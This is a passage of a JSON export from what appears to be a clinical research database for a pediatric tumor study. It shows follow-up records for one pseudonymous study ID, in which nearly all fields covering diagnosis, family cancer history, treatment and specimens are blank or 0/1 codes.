other_cancer_type___15":"","paternal_mother_cancer_type___16":"","paternal_mother_cancer_type___17":"","paternal_mother_descrip_other":"","paternal_father_type_cancer___1":"","paternal_father_type_cancer___2":"","paternal_father_type_cancer___3":"","paternal_father_type_cancer___4":"","paternal_father_type_cancer___5":"","paternal_father_type_cancer___6":"","paternal_father_type_cancer___7":"","paternal_father_type_cancer___8":"","paternal_father_type_cancer___9":"","paternal_father_type_cancer___10":"","paternal_father_type_cancer___11":"","paternal_father_type_cancer___12":"","paternal_father_type_cancer___13":"","paternal_father_type_cancer___14":"","paternal_father_type_cancer___15":"","paternal_father_type_cancer___16":"","paternal_father_type_cancer___17":"","paternal_father_descrip_other":"","other_what_type_of_cancer___1":"","other_what_type_of_cancer___2":"","other_what_type_of_cancer___3":"","other_what_type_of_cancer___4":"","other_what_type_of_cancer___5":"","other_what_type_of_cancer___6":"","other_what_type_of_cancer___7":"","other_what_type_of_cancer___8":"","other_what_type_of_cancer___9":"","other_what_type_of_cancer___10":"","other_what_type_of_cancer___11":"","other_what_type_of_cancer___12":"","other_what_type_of_cancer___13":"","other_what_type_of_cancer___14":"","other_what_type_of_cancer___15":"","other_what_type_of_cancer___16":"","other_what_type_of_cancer___17":"","other_description_of_other":"","unspecified_what_type_cancer___1":"","unspecified_what_type_cancer___2":"","unspecified_what_type_cancer___3":"","unspecified_what_type_cancer___4":"","unspecified_what_type_cancer___5":"","unspecified_what_type_cancer___6":"","unspecified_what_type_cancer___7":"","unspecified_what_type_cancer___8":"","unspecified_what_type_cancer___9":"","unspecified_what_type_cancer___10":"","unspecified_what_type_cancer___11":"","unspecified_what_type_cancer___12":"","unspecified_what_type_cancer___13":"","unspecified_what_type_cancer___14":"","unspecified_what_type_cancer___15":"","unspecified_what_type_cancer___16":"","unspecified_what_type_cancer___17":"","unspecified_des_other_type":"","form_status_mh":"","medical_history_complete":"","enrollment_type2":"","specimen_form_complete":"","specimen_collection_date":"","specimen_type___1":"","specimen_type___2":"","specimen_type___3":"","specimen_type___4":"","specimen_type___5":"","specimen_type___6":"","specimen_type___7":"","collection_tx_status":"","form_status_so":"","specimen_only_complete":"","recurrent":"","if_recurrent_please_descri":"","relapse_number":"","recurr_date_ofl_diagn2_c7b":"","subject_age_at_recurrence":"","path_diag2_605":"","recur_path_diag2_c0e___1":"","recur_path_diag2_c0e___17":"","recur_path_diag2_c0e___2":"","recur_path_diag2_c0e___3":"","recur_path_diag2_c0e___18":"","recur_path_diag2_c0e___5":"","recur_path_diag2_c0e___6":"","recur_path_diag2_c0e___7":"","recur_path_diag2_c0e___8":"","recur_path_diag2_c0e___19":"","recur_path_diag2_c0e___20":"","recur_path_diag2_c0e___21":"","recur_path_diag2_c0e___22":"","recur_path_diag2_c0e___10":"","recur_path_diag2_c0e___11":"","recur_path_diag2_c0e___12":"","recur_path_diag2_c0e___15":"","recur_path_diag2_c0e___16":"","recur_path_diag2_c0e___23":"","recur_path_diag2_c0e___24":"","recur_path_diag2_c0e___25":"","recur_path_diag2_c0e___26":"","recur_path_diag2_c0e___27":"","recur_path_diag2_c0e___28":"","recur_path_diag2_c0e___29":"","recur_path_diag2_c0e___30":"","recur_path_diag2_c0e___31":"","recur_path_diag2_c0e___14":"","diag_other2_cf02_e7a":"","operations_center_pat2_686":"","tumor_primary_locatio2_533___1":"","tumor_primary_locatio2_533___2":"","tumor_primary_locatio2_533___3":"","tumor_primary_locatio2_533___4":"","tumor_primary_locatio2_533___5":"","tumor_primary_locatio2_533___6":"","tumor_primary_locatio2_533___7":"","tumor_primary_locatio2_533___8":"","tumor_primary_locatio2_533___9":"","tumor_primary_locatio2_533___10":"","tumor_primary_locatio2_533___11":"","tumor_primary_locatio2_533___12":"","tumor_primary_locatio2_533___13":"","tumor_primary_locatio2_533___14":"","tumor_primary_locatio2_533___15":"","tumor_primary_locatio2_533___16":"","tumor_primary_locatio2_533___17":"","tumor_primary_locatio2_533___18":"","tumor_primary_locatio2_533___19":"","diag_other2_cf02_e7a2_a55":"","tumor_resection_exten2_7e9":"","metas_at_init_diag_desc":"","metas_at_submit":"","metas_at_submit_other":"","initial_data_form_old_complete":"","update_type":"3","monitor_only":"","monitor_only_after_surgery":"","tumor_status":"1","path_diag2_6052_f19":"","recur_path_diag2_c0e2_575___1":"0","recur_path_diag2_c0e2_575___17":"0","recur_path_diag2_c0e2_575___2":"0","recur_path_diag2_c0e2_575___3":"0","recur_path_diag2_c0e2_575___18":"0","recur_path_diag2_c0e2_575___5":"0","recur_path_diag2_c0e2_575___6":"0","recur_path_diag2_c0e2_575___7":"0","recur_path_diag2_c0e2_575___8":"0","recur_path_diag2_c0e2_575___19":"0","recur_path_diag2_c0e2_575___20":"0","recur_path_diag2_c0e2_575___21":"0","recur_path_diag2_c0e2_575___22":"0","recur_path_diag2_c0e2_575___10":"0","recur_path_diag2_c0e2_575___11":"0","recur_path_diag2_c0e2_575___12":"0","recur_path_diag2_c0e2_575___15":"0","recur_path_diag2_c0e2_575___16":"0","recur_path_diag2_c0e2_575___23":"0","recur_path_diag2_c0e2_575___24":"0","recur_path_diag2_c0e2_575___25":"0","recur_path_diag2_c0e2_575___26":"0","recur_path_diag2_c0e2_575___27":"0","recur_path_diag2_c0e2_575___28":"0","recur_path_diag2_c0e2_575___29":"0","recur_path_diag2_c0e2_575___30":"0","recur_path_diag2_c0e2_575___31":"0","recur_path_diag2_c0e2_575___14":"0","if_other_describe":"","operations_center_pat2_97f":"","tumor_primary_locatio2_f42___1":"0","tumor_primary_locatio2_f42___2":"0","tumor_primary_locatio2_f42___3":"0","tumor_primary_locatio2_f42___4":"0","tumor_primary_locatio2_f42___5":"0","tumor_primary_locatio2_f42___6":"0","tumor_primary_locatio2_f42___7":"0","tumor_primary_locatio2_f42___8":"0","tumor_primary_locatio2_f42___9":"0","tumor_primary_locatio2_f42___10":"0","tumor_primary_locatio2_f42___11":"0","tumor_primary_locatio2_f42___12":"0","tumor_primary_locatio2_f42___13":"0","tumor_primary_locatio2_f42___14":"0","tumor_primary_locatio2_f42___15":"0","tumor_primary_locatio2_f42___16":"0","tumor_primary_locatio2_f42___17":"0","tumor_primary_locatio2_f42___18":"0","tumor_primary_locatio2_f42___19":"0","if_other_describe_tl":"","tumor_resection_exten2_207":"","time_surg_prog":"","subject_age_at_recurr2_c64":"","meta_site___1":"0","meta_site___2":"0","meta_site___3":"0","meta_site___4":"0","otherdescrip":"","if_no_why":"","was_a_new_treatment_plan_i":"2","why_was_new_treatment_init___1":"0","why_was_new_treatment_init___2":"0","why_was_new_treatment_init___3":"0","why_was_new_treatment_init___4":"0","new_tumor_treat2_b8b___4":"0","new_tumor_treat2_b8b___0":"0","new_tumor_treat2_b8b___1":"0","new_tumor_treat2_b8b___2":"0","new_tumor_treat2_b8b___5":"0","new_tumor_treat2_b8b___3":"0","if_other_describe_ntt":"","rad_final_dose2_cd4":"","rad_sites2_3b0":"","planned_chemo_agents2_3b0":"","therapy_desc2_05a":"","describe_study_protoc2_eb1":"","additional_tumor_molecular___1":"0","additional_tumor_molecular___2":"0","additional_tumor_molecular___3":"0","additional_tumor_molecular___4":"0","additional_tumor_molecular___5":"0","additional_tumor_molecular___6":"1","if_other_describe_att":"","test_results":"2","other_status":"1","reason_visit_not_completed":"","updates_data_old_complete":"0","date_tissue_1_submitted":"","collectiontime":"","volume1":"","tissue_format1":"","date_tissue_2_submitted":"","collectiontime2_017":"","volume2":"","tissue_format2":"","date_tissue_3_submitted":"","collectiontime2_0172_40f":"","volume3":"","tissue_format3":"","date_tissue_4_submitted":"","collectiontime2_0172_2_83e":"","volume4":"","tissue_format4":"","date_tissue_5_submitted":"","collectiontime2_0172_2_e27":"","volume5":"","tissue_forma5":"","date_tissue_6_submitted":"","collectiontime2_0172_2_e9a":"","volume6":"","tissue_format6":"","date_tissue_7_submitted":"","collectiontime2_0172_2_441":"","volume62_146":"","tissue_format62_a87":"","date_tissue_8_submitted":"","collectiontime2_0172_2_f7f":"","volume62_1462_7bd":"","tissue_format62_a872_ab9":"","other_notes":"","numsamples":"","sampledate":"","date_of_child_blood_submis":"","samplevolume1":"","date_of_child_blood_s2_cb6":"","sampledate2_b77":"","samplevolume2":"","dateparentsample":"","date_paternal_blood_submit":"","parentsamplevol1":"","dateparentsample2_20e":"","date_maternal_blood_submit":"","parentsamplevol2":"","slide_format___1":"","slide_format___2":"","slide_format___3":"","numbers_of_slides":"","describe_stains_used_on_sl":"","date_slide_images_submitte":"","csfcollectiondate":"","csf_1_submission_date":"","csf_counts":"","csfvolume1":"","csfcollectiondate2_36a":"","csf_2_submission_date":"","csf_counts2_540":"","csfvolume2":"","csfcollectiondate2_362_09a":"","cfs_3_submission_date":"","csf_counts2_b0a":"","csfvolume22_930":"","please_use_this_area_to_do":"","specimen_information_form_complete":"","autopsy_type":"","autop_subj_age":"","time_init_diag_to_death":"","autop_gentest_results":"","update_type_autopsy":"","autop_relapse_death":"","autop_death_tumor":"","autop_report_status":"","autopsy_updates_data_old_complete":"","family_members":"","medical_history_form_old_complete":"","rad_sites":"","planned_rad_dose":"","planned_fractions":"","completed_fractions":"","like_protocol":"","describe_study_protocol":"","num_planned_cycles":"","num_completed_cycles":"","other_therapy":"","other_therapy_desc":"","on_study_protocol":"","arm_random":"","rad_sites_defined___1":"","rad_sites_defined___2":"","rad_sites_defined___3":"","rad_sites_defined___4":"","rad_sites_defined___5":"","rad_sites_defined___6":"","rad_sites_defined___7":"","treatment_form_old_complete":"","tumor_or_molecular_tests_d___1":"","tumor_or_molecular_tests_d___2":"","tumor_or_molecular_tests_d___3":"","tumor_or_molecular_tests_d___4":"","tumor_or_molecular_tests_d___5":"","tumor_or_molecular_tests_d___6":"","tumor_or_molecular_tests_d___7":"","diagnosis_form_old_complete":""},{"study_id":"YU80UHY3I10CBT6X:T7S9TDGK1","redcap_event_name":"18_month_update_arm_1","enrollment_type":"","autop_form_complete":"","general_comm_diagnosis":"","clinical_status_at_diagnosis":"","autop_cause_death":"","autopsy":"","diagnosis_type":"","other_med_condition___1":"","other_med_condition___2":"","other_med_condition___3":"","other_med_condition___4":"","other_med_condition___5":"","other_med_condition___6":"","other_med_condition___7":"","other_med_condition___8":"","other_med_condition___9":"","other_med_condition___10":"","other_med_condition___11":"","other_med_condition___12":"","describe":"","vps_etv":"","date_of_initial_diagnosis":"","operations_center_patholog":"","path_diag":"","init_path_diag___1":"","init_path_diag___17":"","init_path_diag___2":"","init_path_diag___3":"","init_path_diag___18":"","init_path_diag___5":"","init_path_diag___6":"","init_path_diag___7":"","init_path_diag___8":"","init_path_diag___19":"","init_path_diag___20":"","init_path_diag___21":"","init_path_diag___22":"","init_path_diag___10":"","init_path_diag___11":"","init_path_diag___12":"","init_path_diag___15":"","init_path_diag___16":"","init_path_diag___23":"","init_path_diag___24":"","init_path_diag___25":"","init_path_diag___26":"","init_path_diag___27":"","init_path_diag___28":"","init_path_diag___29":"","init_path_diag___30":"","init_path_diag___31":"","init_path_diag___14":"","init_path_diag___32":"","init_path_diag___33":"","init_path_diag___34":"","init_path_diag___35":"","init_path_diag___36":"","diag_other":"","tumor_primary_location_in___1":"","tumor_primary_location_in___2":"","tumor_primary_location_in___3":"","tumor_primary_location_in___4":"","tumor_primary_location_in___5":"","tumor_primary_location_in___6":"","tumor_primary_location_in___7":"","tumor_primary_location_in___8":"","tumor_primary_location_in___9":"","tumor_primary_location_in___10":"","tumor_primary_location_in___11":"","tumor_primary_location_in___12":"","tumor_primary_location_in___13":"","tumor_primary_location_in___14":"","tumor_primary_location_in___15":"","tumor_primary_location_in___16":"","tumor_primary_location_in___17":"","tumor_primary_location_in___18":"","tumor_primary_location_in___19":"","tumor_primary_location_in___20":"","tumor_primary_location_in___21":"","tumor_primary_location_in___22":"","tumor_primary_location_in___23":"","diag_other2_cf0":"","metas_at_init_diag":"","metas_at_submit_site___0":"","metas_at_submit_site___1":"","metas_at_submit_site___2":"","metas_at_submit_site___3":"","metas_at_submit_site___4":"","metas_at_submit_site___5":"","if_other_describe_metatases_sites":"","site_prog":"","time_to_prog":"","relapse_number2_7d6":"","time_surg_prog2_a49":"","tumor_or_molecular_tests___1":"","tumor_or_molecular_tests___2":"","tumor_or_molecular_tests___3":"","tumor_or_molecular_tests___4":"","tumor_or_molecular_tests___8":"","tumor_or_molecular_tests___9":"","tumor_or_molecular_tests___10":"","tumor_or_molecular_tests___5":"","tumor_or_molecular_tests___6":"","des_tests":"","path_test_avail":"","form_status_dx":"","age":"","diagnosis_form_complete":"","date_form_completed_up":"2013-10-16","follow_up_visit_status":"1","reason_for_no_visit":"","date_of_visit_follow_up":"","clin_status":"1","tumor_status2":"1","relapse_death":"","diag_death":"","cause_death":"","coordinator_notes":"","form_status_u":"","subj_age":"100","updates_data_form_complete":"0","treatment_status":"4","treatment_update_due_to":"","surgery":"","tumor_resection_extent":"","specimen_to_cbttc":"","sample_origin":"","radiation":"","start_date_rad":"","start_date_rad_unavail":"","stop_date_rad":"","stop_date_rad_unavail":"","rad_site":"","other_type_describe":"","rad_final_dose":"","csi_focal_dose":"","radiation_type___1":"0","radiation_type___2":"0","radiation_type___3":"0","radiation_type___4":"0","radiation_type___5":"0","radiation_type___6":"0","other_type":"","description_of_radiation_t":"","chemo":"","chemo_type":"","like_protocol_name":"","start_date_chemo":"","start_date_chemo_unavail":"","stop_date_chemo":"","stop_date_chemo_unavail":"","planned_chemo_agents":"","description_of_chemotherap":"","asct":"","treatment_complete":"","form_status_t":"","treatment_form_complete":"0","formstatus_demo":"","date_form_completed":"","general_comments":"","gender":"","subject_ethnicity":"","race___1":"","race___2":"","race___3":"","race___4":"","race___5":"","race___7":"","form_status_dm":"","demographics_form_complete":"","formstatus_medhis":"","canc_predisp_condition___1":"","canc_predisp_condition___2":"","canc_predisp_condition___3":"","canc_predisp_condition___4":"","canc_predisp_condition___5":"","canc_predisp_condition___6":"","canc_predisp_condition___7":"","describe_predis":"","germline":"","results_available":"","cancer_predis_relative":"","family_history":"","family_member___1":"","family_member___2":"","family_member___3":"","family_member___4":"","family_member___5":"","family_member___6":"","family_member___7":"","family_member___8":"","family_member___9":"","family_member___10":"","family_member___11":"","other_family_history":"","cancer_type___1":"","cancer_type___2":"","cancer_type___3":"","cancer_type___4":"","cancer_type___5":"","cancer_type___6":"","cancer_type___7":"","cancer_type___8":"","cancer_type___9":"","cancer_type___10":"","cancer_type___11":"","cancer_type___12":"","cancer_type___13":"","cancer_type___14":"","cancer_type___15":"","cancer_type___16":"","cancer_type___17":"","other_description":"","father_what_type_of_cancer___1":"","father_what_type_of_cancer___2":"","father_what_type_of_cancer___3":"","father_what_type_of_cancer___4":"","father_what_type_of_cancer___5":"","father_what_type_of_cancer___6":"","father_what_type_of_cancer___7":"","father_what_type_of_cancer___8":"","father_what_type_of_cancer___9":"","father_what_type_of_cancer___10":"","father_what_type_of_cancer___11":"","father_what_type_of_cancer___12":"","father_what_type_of_cancer___13":"","father_what_type_of_cancer___14":"","father_what_type_of_cancer___15":"","father_what_type_of_cancer___16":"","father_what_type_of_cancer___17":"","father_description_of_othe":"","sister_what_type_of_cancer___1":"","sister_what_type_of_cancer___2":"","sister_what_type_of_cancer___3":"","sister_what_type_of_cancer___4":"","sister_what_type_of_cancer___5":"","sister_what_type_of_cancer___6":"","sister_what_type_of_cancer___7":"","sister_what_type_of_cancer___8":"","sister_what_type_of_cancer___9":"","sister_what_type_of_cancer___10":"","sister_what_type_of_cancer___11":"","sister_what_type_of_cancer___12":"","sister_what_type_of_cancer___13":"","sister_what_type_of_cancer___14":"","sister_what_type_of_cancer___15":"","sister_what_type_of_cancer___16":"","sister_what_type_of_cancer___17":"","sister_description_of_othe":"","brother_what_type_of_cance___1":"","brother_what_type_of_cance___2":"","brother_what_type_of_cance___3":"","brother_what_type_of_cance___4":"","brother_what_type_of_cance___5":"","brother_what_type_of_cance___6":"","brother_what_type_of_cance___7":"","brother_what_type_of_cance___8":"","brother_what_type_of_cance___9":"","brother_what_type_of_cance___10":"","brother_what_type_of_cance___11":"","brother_what_type_of_cance___12":"","brother_what_type_of_cance___13":"","brother_what_type_of_cance___14":"","brother_what_type_of_cance___15":"","brother_what_type_of_cance___16":"","brother_what_type_of_cance___17":"","brother_description_of_oth":"","maternal_grandmother_what___1":"","maternal_grandmother_what___2":"","maternal_grandmother_what___3":"","maternal_grandmother_what___4":"","maternal_grandmother_what___5":"","maternal_grandmother_what___6":"","maternal_grandmother_what___7":"","maternal_grandmother_what___8":"","maternal_grandmother_what___9":"","maternal_grandmother_what___10":"","maternal_grandmother_what___11":"","maternal_grandmother_what___12":"","maternal_grandmother_what___13":"","maternal_grandmother_what___14":"","maternal_grandmother_what___15":"","maternal_grandmother_what___16":"","maternal_grandmother_what___17":"","maternal_grandmother_descr":"","maternal_father_cancer_type___1":"","maternal_father_cancer_type___2":"","maternal_father_cancer_type___3":"","maternal_father_cancer_type___4":"","maternal_father_cancer_type___5":"","maternal_father_cancer_type___6":"","maternal_father_cancer_type___7":"","maternal_father_cancer_type___8":"","maternal_father_cancer_type___9":"","maternal_father_cancer_type___10":"","maternal_father_cancer_type___11":"","maternal_father_cancer_type___12":"","maternal_father_cancer_type___13":"","maternal_father_cancer_type___14":"","maternal_father_cancer_type___15":"","maternal_father_cancer_type___16":"","maternal_father_cancer_type___17":"","maternal_father_descrip_other":"","paternal_mother_cancer_type___1":"","paternal_mother_cancer_type___2":"","paternal_mother_cancer_type___3":"","paternal_mother_cancer_type___4":"","paternal_mother_cancer_type___5":"","paternal_mother_cancer_type___6":"","paternal_mother_cancer_type___7":"","paternal_mother_cancer_type___8":"","paternal_mother_cancer_type___9":"","paternal_mother_cancer_type___10":"","paternal_mother_cancer_type___11":"","paternal_mother_cancer_type___12":"","paternal_mother_cancer_type___13":"","paternal_mother_cancer_type___14":"","paternal_mother_cancer_type___15":"","paternal_mother_cancer_type___16":"","paternal_mother_cancer_type___17":"","paternal_mother_descrip_other":"","paternal_father_type_cancer___1":"","paternal_father_type_cancer___2":"","paternal_father_type_cancer___3":"","paternal_father_type_cancer___4":"","paternal_father_type_cancer___5":"","paternal_father_type_cancer___6":"","paternal_father_type_cancer___7":"","paternal_father_type_cancer___8":"","paternal_father_type_cancer___9":"","paternal_father_type_cancer___10":"","paternal_father_type_cancer___11":"","paternal_father_type_cancer___12":"","paternal_father_type_cancer___13":"","paternal_father_type_cancer___14":"","paternal_father_type_cancer___15":"","paternal_father_type_cancer___16":"","paternal_father_type_cancer___17":"","paternal_father_descrip_other":"","other_what_type_of_cancer___1":"","other_what_type_of_cancer___2":"","other_what_type_of_cancer___3":"","other_what_type_of_cancer___4":"","other_what_type_of_cancer___5":"","other_what_type_of_cancer___6":"","other_what_type_of_cancer___7":"","other_what_type_of_cancer___8":"","other_what_type_of_cancer___9":"","other_what_type_of_cancer___10":"","other_what_type_of_cancer___11":"","other_what_type_of_cancer___12":"","other_what_type_of_cancer___13":"","other_what_type_of_cancer___14":"","other_what_type_of_cancer___15":"","other_what_type_of_cancer___16":"","other_what_type_of_cancer___17":"","other_description_of_other":"","unspecified_what_type_cancer___1":"","unspecified_what_type_cancer___2":"","unspecified_what_type_cancer___3":"","unspecified_what_type_cancer___4":"","unspecified_what_type_cancer___5":"","unspecified_what_type_cancer___6":"","unspecified_what_type_cancer___7":"","unspecified_what_type_cancer___8":"","unspecified_what_type_cancer___9":"","unspecified_what_type_cancer___10":"","unspecified_what_type_cancer___11":"","unspecified_what_type_cancer___12":"","unspecified_what_type_cancer___13":"","unspecified_what_type_cancer___14":"","unspecified_what_type_cancer___15":"","unspecified_what_type_cancer___16":"","unspecified_what_type_cancer___17":"","unspecified_des_other_type":"","form_status_mh":"","medical_history_complete":"","enrollment_type2":"","specimen_form_complete":"","specimen_collection_date":"","specimen_type___1":"","specimen_type___2":"","specimen_type___3":"","specimen_type___4":"","specimen_type___5":"","specimen_type___6":"","specimen_type___7":"","collection_tx_status":"","form_status_so":"","specimen_only_complete":"","recurrent":"","if_recurrent_please_descri":"","relapse_number":"","recurr_date_ofl_diagn2_c7b":"","subject_age_at_recurrence":"","path_diag2_605":"","recur_path_diag2_c0e___1":"","recur_path_diag2_c0e___17":"","recur_path_diag2_c0e___2":"","recur_path_diag2_c0e___3":"","recur_path_diag2_c0e___18":"","recur_path_diag2_c0e___5":"","recur_path_diag2_c0e___6":"","recur_path_diag2_c0e___7":"","recur_path_diag2_c0e___8":"","recur_path_diag2_c0e___19":"","recur_path_diag2_c0e___20":"","recur_path_diag2_c0e___21":"","recur_path_diag2_c0e___22":"","recur_path_diag2_c0e___10":"","recur_path_diag2_c0e___11":"","recur_path_diag2_c0e___12":"","recur_path_diag2_c0e___15":"","recur_path_diag2_c0e___16":"","recur_path_diag2_c0e___23":"","recur_path_diag2_c0e___24":"","recur_path_diag2_c0e___25":"","recur_path_diag2_c0e___26":"","recur_path_diag2_c0e___27":"","recur_path_diag2_c0e___28":"","recur_path_diag2_c0e___29":"","recur_path_diag2_c0e___30":"","recur_path_diag2_c0e___31":"","recur_path_diag2_c0e___14":"","diag_other2_cf02_e7a":"","operations_center_pat2_686":"","tumor_primary_locatio2_533___1":"","tumor_primary_locatio2_533___2":"","tumor_primary_locatio2_533___3":"","tumor_primary_locatio2_533___4":"","tumor_primary_locatio2_533___5":"","tumor_primary_locatio2_533___6":"","tumor_primary_locatio2_533___7":"","tumor_primary_locatio2_533___8":"","tumor_primary_locatio2_533___9":"","tumor_primary_locatio2_533___10":"","tumor_primary_locatio2_533___11":"","tumor_primary_locatio2_533___12":"","tumor_primary_locatio2_533___13":"","tumor_primary_locatio2_533___14":"","tumor_primary_locatio2_533___15":"","tumor_primary_locatio2_533___16":"","tumor_primary_locatio2_533___17":"","tumor_primary_locatio2_533___18":"","tumor_primary_locatio2_533___19":"","diag_other2_cf02_e7a2_a55":"","tumor_resection_exten2_7e9":"","metas_at_init_diag_desc":"","metas_at_submit":"","metas_at_submit_other":"","initial_data_form_old_complete":"","update_type":"4","monitor_only":"","monitor_only_after_surgery":"","tumor_status":"","path_diag2_6052_f19":"","recur_path_diag2_c0e2_575___1":"0","recur_path_diag2_c0e2_575___17":"0","recur_path_diag2_c0e2_575___2":"0","recur_path_diag2_c0e2_575___3":"0","recur_path_diag2_c0e2_575___18":"0","recur_path_diag2_c0e2_575___5":"0","recur_path_diag2_c0e2_575___6":"0","recur_path_diag2_c0e2_575___7":"0","recur_path_diag2_c0e2_575___8":"0","recur_path_diag2_c0e2_575___19":"0","recur_path_diag2_c0e2_575___20":"0","recur_path_diag2_c0e2_575___21":"0","recur_path_diag2_c0e2_575___22":"0","recur_path_diag2_c0e2_575___10":"0","recur_path_diag2_c0e2_575___11":"0","recur_path_diag2_c0e2_575___12":"0","recur_path_diag2_c0e2_575___15":"0","recur_path_diag2_c0e2_575___16":"0","recur_path_diag2_c0e2_575___23":"0","recur_path_diag2_c0e2_575___24":"0","recur_path_diag2_c0e2_575___25":"0","recur_path_diag2_c0e2_575___26":"0","recur_path_diag2_c0e2_575___27":"0","recur_path_diag2_c0e2_575___28":"0","recur_path_diag2_c0e2_575___29":"0","recur_path_diag2_c0e2_575___30":"0","recur_path_diag2_c0e2_575___31":"0","recur_path_diag2_c0e2_575___14":"0","if_other_describe":"","operations_center_pat2_97f":"","tumor_primary_locatio2_f42___1":"0","tumor_primary_locatio2_f42___2":"0","tumor_primary_locatio2_f42___3":"0","tumor_primary_locatio2_f42___4":"0","tumor_primary_locatio2_f42___5":"0","tumor_primary_locatio2_f42___6":"0","tumor_primary_locatio2_f42___7":"0","tumor_primary_locatio2_f42___8":"0","tumor_primary_locatio2_f42___9":"0","tumor_primary_locatio2_f42___10":"0","tumor_primary_locatio2_f42___11":"0","tumor_primary_locatio2_f42___12":"0","tumor_primary_locatio2_f42___13":"0","tumor_primary_locatio2_f42___14":"0","tumor_primary_locatio2_f42___15":"0","tumor_primary_locatio2_f42___16":"0","tumor_primary_locatio2_f42___17":"0","tumor_primary_locatio2_f42___18":"0","tumor_primary_locatio2_f42___19":"0","if_other_describe_tl":"","tumor_resection_exten2_207":"","time_surg_prog":"","subject_age_at_recurr2_c64":"","meta_site___1":"0","meta_site___2":"0","meta_site___3":"0","meta_site___4":"0","otherdescrip":"","if_no_why":"","was_a_new_treatment_plan_i":"2","why_was_new_treatment_init___1":"0","why_was_new_treatment_init___2":"0","why_was_new_treatment_init___3":"0","why_was_new_treatment_init___4":"0","new_tumor_treat2_b8b___4":"0","new_tumor_treat2_b8b___0":"0","new_tumor_treat2_b8b___1":"0","new_tumor_treat2_b8b___2":"0","new_tumor_treat2_b8b___5":"0","new_tumor_treat2_b8b___3":"0","if_other_describe_ntt":"","rad_final_dose2_cd4":"","rad_sites2_3b0":"","planned_chemo_agents2_3b0":"","therapy_desc2_05a":"","describe_study_protoc2_eb1":"","additional_tumor_molecular___1":"0","additional_tumor_molecular___2":"0","additional_tumor_molecular___3":"0","additional_tumor_molecular___4":"0","additional_tumor_molecular___5":"0","additional_tumor_molecular___6":"1","if_other_describe_att":"","test_results":"2","other_status":"1","reason_visit_not_completed":"","updates_data_old_complete":"0","date_tissue_1_submitted":"","collectiontime":"","volume1":"","tissue_format1":"","date_tissue_2_submitted":"","collectiontime2_017":"","volume2":"","tissue_format2":"","date_tissue_3_submitted":"","collectiontime2_0172_40f":"","volume3":"","tissue_format3":"","date_tissue_4_submitted":"","collectiontime2_0172_2_83e":"","volume4":"","tissue_format4":"","date_tissue_5_submitted":"","collectiontime2_0172_2_e27":"","volume5":"","tissue_forma5":"","date_tissue_6_submitted":"","collectiontime2_0172_2_e9a":"","volume6":"","tissue_format6":"","date_tissue_7_submitted":"","collectiontime2_0172_2_441":"","volume62_146":"","tissue_format62_a87":"","date_tissue_8_submitted":"","collectiontime2_0172_2_f7f":"","volume62_1462_7bd":"","tissue_format62_a872_ab9":"","other_notes":"","numsamples":"","sampledate":"","date_of_child_blood_submis":"","samplevolume1":"","date_of_child_blood_s2_cb6":"","sampledate2_b77":"","samplevolume2":"","dateparentsample":"","date_paternal_blood_submit":"","parentsamplevol1":"","dateparentsample2_20e":"","date_maternal_blood_submit":"","parentsamplevol2":"","slide_format___1":"","slide_format___2":"","slide_format___3":"","numbers_of_slides":"","describe_stains_used_on_sl":"","date_slide_images_submitte":"","csfcollectiondate":"","csf_1_submission_date":"","csf_counts":"","csfvolume1":"","csfcollectiondate2_36a":"","csf_2_submission_date":"","csf_counts2_540":"","csfvolume2":"","csfcollectiondate2_362_09a":"","cfs_3_submission_date":"","csf_counts2_b0a":"","csfvolume22_930":"","please_use_this_area_to_do":"","specimen_information_form_complete":"","autopsy_type":"","autop_subj_age":"","time_init_diag_to_death":"","autop_gentest_results":"","update_type_autopsy":"","autop_relapse_death":"","autop_death_tumor":"","autop_report_status":"","autopsy_updates_data_old_complete":"","family_members":"","medical_history_form_old_complete":"","rad_sites":"","planned_rad_dose":"","planned_fractions":"","completed_fractions":"","like_protocol":"","describe_study_protocol":"","num_planned_cycles":"","num_completed_cycles":"","other_therapy":"","other_therapy_desc":"","on_study_protocol":"","arm_random":"","rad_sites_defined___1":"","rad_sites_defined___2":"","rad_sites_defined___3":"","rad_sites_defined___4":"","rad_sites_defined___5":"","rad_sites_defined___6":"","rad_sites_defined___7":"","treatment_form_old_complete":"","tumor_or_molecular_tests_d___1":"","tumor_or_molecular_tests_d___2":"","tumor_or_molecular_tests_d___3":"","tumor_or_molecular_tests_d___4":"","tumor_or_molecular_tests_d___5":"","tumor_or_molecular_tests_d___6":"","tumor_or_molecular_tests_d___7":"","diagnosis_form_old_complete":""},{"study_id":"YU80UHY3I10CBT6X:T7S9TDGK1","redcap_event_name":"24_month_update_arm_1","enrollment_type":"","autop_form_complete":"","general_comm_diagnosis":"","clinical_status_at_diagnosis":"","autop_cause_death":"","autopsy":"","diagnosis_type":"","other_med_condition___1":"","other_med_condition___2":"","other_med_condition___3":"","other_med_condition___4":"","other_med_condition___5":"","other_med_condition___6":"","other_med_condition___7":"","other_med_condition___8":"","other_med_condition___9":"","other_med_condition___10":"","other_med_condition___11":"","other_med_condition___12":"","describe":"","vps_etv":"","date_of_initial_diagnosis":"","operations_center_patholog":"","path_diag":"","init_path_diag___1":"","init_path_diag___17":"","init_path_diag___2":"","init_path_diag___3":"","init_path_diag___18":"","init_path_diag___5":"","init_path_diag___6":"","init_path_diag___7":"","init_path_diag___8":"","init_path_diag___19":"","init_path_diag___20":"","init_path_diag___21":"","init_path_diag___22":"","init_path_diag___10":"","init_path_diag___11":"","init_path_diag___12":"","init_path_diag___15":"","init_path_diag___16":"","init_path_diag___23":"","init_path_diag___24":"","init_path_diag___25":"","init_path_diag___26":"","init_path_diag___27":"","init_path_diag___28":"","init_path_diag___29":"","init_path_diag___30":"","init_path_diag___31":"","init_path_diag___14":"","init_path_diag___32":"","init_path_diag___33":"","init_path_diag___34":"","init_path_diag___35":"","init_path_diag___36":"","diag_other":"","tumor_primary_location_in___1":"","tumor_primary_location_in___2":"","tumor_primary_location_in___3":"","tumor_primary_location_in___4":"","tumor_primary_location_in___5":"","tumor_primary_location_in___6":"","tumor_primary_location_in___7":"","tumor_primary_location_in___8":"","tumor_primary_location_in___9":"","tumor_primary_location_in___10":"","tumor_primary_location_in___11":"","tumor_primary_location_in___12":"","tumor_primary_location_in___13":"","tumor_primary_location_in___14":"","tumor_primary_location_in___15":"","tumor_primary_location_in___16":"","tumor_primary_location_in___17":"","tumor_primary_location_in___18":"","tumor_primary_location_in___19":"","tumor_primary_location_in___20":"","tumor_primary_location_in___21":"","tumor_primary_location_in___22":"","tumor_primary_location_in___23":"","diag_other2_cf0":"","metas_at_init_diag":"","metas_at_submit_site___0":"","metas_at_submit_site___1":"","metas_at_submit_site___2":""